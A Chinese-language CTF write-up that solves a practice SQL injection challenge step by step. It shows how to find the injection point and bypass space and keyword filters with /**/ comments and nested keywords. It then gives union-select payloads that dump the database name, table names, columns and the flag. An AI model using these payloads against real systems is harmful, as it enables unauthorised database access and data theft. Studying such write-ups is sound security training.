简单的sql注入1

时间:2024-03-18 16:50:54

通过sql注入得到flag

题目:http://ctf5.shiyanbar.com/423/web
打开题目:
简单的sql注入1
先随便输了些数字,发现只有1、2、3查询结果

接下来进行第一步测试

输入一个带单引号的数据,目的是测试是否存在注入点,输入1’发现报错,说明此处存在注入点。且后台代码应该是一般的seletc语句,可以通过开闭合单引号来进行注入。
输入1 and 1=1发现id后显示1 1=1说明存在过滤。

第二步关键字过滤

看到过滤,就随便输了些语句,发现空格、union、select等等的语句关键词都被过滤了,测试时我发现输入1’select’,会报错,而输入1’select '不会,说明select关键词是否被过滤,与其后面的空格有关,那么我们只需要绕过这个空格过滤就可以了

第三步空格过滤

绕过空格过滤的方法有很多:+、%0a、%0b、/**/等等,这里我用的是最后一种 。

开始注入

1、数据库名

在报错时就可以看到是MYSQL,因此用database()来获取当前数据库名
输入:

1'union/**/select/**/database()'

我们能够得到数据库名为web1

2、表名

在MYSQL中有一张表information_schema,该表存储了MYSQL服务器中的所有信息,那么接下来就要用得到的数据库名web1去查其中的表
输入:

1‘union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/=’web1

简单的sql注入1
发现关键词被过滤了
既然过滤关键词之后的空格不管用,那应该是针对关键词的,那我们可以用关键词嵌套关键词的方法绕过,比如说and会被过滤,那我们用aandnd,这样第2、3、4个字母就会被过滤,剩下的就是and,就成功绕过了。
那就输入:

1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/table_schemtable_schemaa/**/='web1

就可以看到表名
简单的sql注入1
flag这个表应该就是我们的目标

3、段名

一样的思路,用表名查字段
输入:

1'union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.columinformation_schema.columnsns/**/where/**/table_name='flag

简单的sql注入1
得到两个字段flag和id,很明显,我们要的应该是flag字段

4、flag

直接查看flag字段的内容
输入:

1' union/**/select/**/flag from/**/flag where/**/'1'='1

简单的sql注入1
就得到flag了

相关文章